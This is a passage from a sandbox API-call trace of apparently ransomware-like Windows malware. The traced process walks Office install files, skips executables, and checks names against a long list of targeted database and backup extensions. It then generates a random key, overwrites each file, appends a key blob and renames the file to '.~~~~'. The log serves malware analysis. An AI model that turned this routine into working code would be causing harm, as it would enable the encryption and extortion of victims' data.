	[0143.714] lstrlenW (lpString=".DB") returned 3
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DB") returned 0x0
	[0143.714] lstrlenW (lpString=".sql") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".sql") returned 0x0
	[0143.714] lstrlenW (lpString=".MYD") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".MYD") returned 0x0
	[0143.714] lstrlenW (lpString=".DBT") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DBT") returned 0x0
	[0143.714] lstrlenW (lpString=".ACCDB") returned 6
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.715] lstrlenW (lpString=".fdb") returned 4
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".fdb") returned 0x0
	[0143.715] lstrlenW (lpString=".bak") returned 4
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".bak") returned 0x0
	[0143.715] lstrlenW (lpString=".myd") returned 4
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".myd") returned 0x0
	[0143.715] lstrlenW (lpString=".DTXS") returned 5
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.715] lstrlenW (lpString=".ckp") returned 4
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".ckp") returned 0x0
	[0143.715] lstrlenW (lpString=".dbt") returned 4
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dbt") returned 0x0
	[0143.715] lstrlenW (lpString=".db") returned 3
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".db") returned 0x0
	[0143.715] lstrlenW (lpString=".TXT") returned 4
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".TXT") returned 0x0
	[0143.715] lstrlenW (lpString=".MDF") returned 4
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".MDF") returned 0x0
	[0143.715] lstrlenW (lpString=".bdb") returned 4
	[0143.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".bdb") returned 0x0
	[0143.715] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.716] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0143.719] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.719] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.719] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26370916681) returned 1
	[0143.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf1236d0, dwHighDateTime=0x1d60e1e)) 
	[0143.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809ae0
	[0143.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809ae0 | out: hHeap=0x300000) returned 1
	[0143.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28abd38
	[0143.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abd38 | out: hHeap=0x300000) returned 1
	[0143.720] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.720] GetLastError () returned 0x0
	[0143.721] GetLastError () returned 0x0
	[0143.721] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.721] GetLastError () returned 0x0
	[0143.721] GetLastError () returned 0x0
	[0143.721] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x1179, lpOverlapped=0x0) returned 1
	[0143.723] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffee87, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.723] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1179, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1179, lpOverlapped=0x0) returned 1
	[0143.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.723] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.724] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.724] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.724] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.724] CloseHandle (hObject=0x104) returned 1
	[0143.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28abd38
	[0143.724] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif.~~~~")) returned 1
	[0143.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abd38 | out: hHeap=0x300000) returned 1
	[0143.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.727] GetLastError () returned 0x0
	[0143.727] RtlWakeConditionVariable () returned 0x0
	[0143.727] GetCurrentThreadId () returned 0xaf0
	[0143.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".scr") returned 0x0
	[0143.727] lstrlenW (lpString=".cmd") returned 4
	[0143.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".cmd") returned 0x0
	[0143.727] lstrlenW (lpString=".dll") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dll") returned 0x0
	[0143.728] lstrlenW (lpString=".bat") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".bat") returned 0x0
	[0143.728] lstrlenW (lpString=".cpl") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".cpl") returned 0x0
	[0143.728] lstrlenW (lpString=".sys") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".sys") returned 0x0
	[0143.728] lstrlenW (lpString=".msc") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".msc") returned 0x0
	[0143.728] lstrlenW (lpString=".com") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".com") returned 0x0
	[0143.728] lstrlenW (lpString=".lnk") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".lnk") returned 0x0
	[0143.728] lstrlenW (lpString=".msp") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".msp") returned 0x0
	[0143.728] lstrlenW (lpString=".pif") returned 4
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".pif") returned 0x0
	[0143.728] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.731] lstrlenW (lpString=".sqb") returned 4
	[0143.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".sqb") returned 0x0
	[0143.731] lstrlenW (lpString=".ost") returned 4
	[0143.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".ost") returned 0x0
	[0143.731] lstrlenW (lpString=".txt") returned 4
	[0143.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".txt") returned 0x0
	[0143.731] lstrlenW (lpString=".mdt") returned 4
	[0143.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".mdt") returned 0x0
	[0143.731] lstrlenW (lpString=".BDB") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".BDB") returned 0x0
	[0143.732] lstrlenW (lpString=".eql") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".eql") returned 0x0
	[0143.732] lstrlenW (lpString=".DBF") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DBF") returned 0x0
	[0143.732] lstrlenW (lpString=".EQL") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".EQL") returned 0x0
	[0143.732] lstrlenW (lpString=".FDB") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".FDB") returned 0x0
	[0143.732] lstrlenW (lpString=".EDB") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".EDB") returned 0x0
	[0143.732] lstrlenW (lpString=".DACPAC") returned 7
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.732] lstrlenW (lpString=".VHD") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".VHD") returned 0x0
	[0143.732] lstrlenW (lpString=".DBV") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DBV") returned 0x0
	[0143.732] lstrlenW (lpString=".dacpac") returned 7
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.732] lstrlenW (lpString=".sdf") returned 4
	[0143.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".sdf") returned 0x0
	[0143.733] lstrlenW (lpString=".accdb") returned 6
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".accdb") returned 0x0
	[0143.733] lstrlenW (lpString=".DBX") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DBX") returned 0x0
	[0143.733] lstrlenW (lpString=".MDT") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".MDT") returned 0x0
	[0143.733] lstrlenW (lpString=".SQB") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".SQB") returned 0x0
	[0143.733] lstrlenW (lpString=".vhd") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".vhd") returned 0x0
	[0143.733] lstrlenW (lpString=".bac") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".bac") returned 0x0
	[0143.733] lstrlenW (lpString=".mdf") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".mdf") returned 0x0
	[0143.733] lstrlenW (lpString=".BAK") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".BAK") returned 0x0
	[0143.733] lstrlenW (lpString=".BAC") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".BAC") returned 0x0
	[0143.733] lstrlenW (lpString=".dbs") returned 4
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dbs") returned 0x0
	[0143.733] lstrlenW (lpString=".vhdx") returned 5
	[0143.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.733] lstrlenW (lpString=".NDF") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".NDF") returned 0x0
	[0143.734] lstrlenW (lpString=".dat") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dat") returned 0x0
	[0143.734] lstrlenW (lpString=".DBS") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DBS") returned 0x0
	[0143.734] lstrlenW (lpString=".CKP") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".CKP") returned 0x0
	[0143.734] lstrlenW (lpString=".edb") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".edb") returned 0x0
	[0143.734] lstrlenW (lpString=".PST") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".PST") returned 0x0
	[0143.734] lstrlenW (lpString=".dbf") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dbf") returned 0x0
	[0143.734] lstrlenW (lpString=".SQL") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".SQL") returned 0x0
	[0143.734] lstrlenW (lpString=".pst") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".pst") returned 0x0
	[0143.734] lstrlenW (lpString=".dbv") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dbv") returned 0x0
	[0143.734] lstrlenW (lpString=".SDF") returned 4
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".SDF") returned 0x0
	[0143.734] lstrlenW (lpString=".dtxs") returned 5
	[0143.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.735] lstrlenW (lpString=".db3") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".db3") returned 0x0
	[0143.735] lstrlenW (lpString=".OST") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".OST") returned 0x0
	[0143.735] lstrlenW (lpString=".dbx") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dbx") returned 0x0
	[0143.735] lstrlenW (lpString=".DB3") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DB3") returned 0x0
	[0143.735] lstrlenW (lpString=".DAT") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DAT") returned 0x0
	[0143.735] lstrlenW (lpString=".VHDX") returned 5
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.735] lstrlenW (lpString=".ndf") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".ndf") returned 0x0
	[0143.735] lstrlenW (lpString=".DB") returned 3
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DB") returned 0x0
	[0143.735] lstrlenW (lpString=".sql") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".sql") returned 0x0
	[0143.735] lstrlenW (lpString=".MYD") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".MYD") returned 0x0
	[0143.735] lstrlenW (lpString=".DBT") returned 4
	[0143.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DBT") returned 0x0
	[0143.736] lstrlenW (lpString=".ACCDB") returned 6
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.736] lstrlenW (lpString=".fdb") returned 4
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".fdb") returned 0x0
	[0143.736] lstrlenW (lpString=".bak") returned 4
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".bak") returned 0x0
	[0143.736] lstrlenW (lpString=".myd") returned 4
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".myd") returned 0x0
	[0143.736] lstrlenW (lpString=".DTXS") returned 5
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.736] lstrlenW (lpString=".ckp") returned 4
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".ckp") returned 0x0
	[0143.736] lstrlenW (lpString=".dbt") returned 4
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".dbt") returned 0x0
	[0143.736] lstrlenW (lpString=".db") returned 3
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".db") returned 0x0
	[0143.736] lstrlenW (lpString=".TXT") returned 4
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".TXT") returned 0x0
	[0143.736] lstrlenW (lpString=".MDF") returned 4
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".MDF") returned 0x0
	[0143.736] lstrlenW (lpString=".bdb") returned 4
	[0143.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".bdb") returned 0x0
	[0143.737] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.737] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
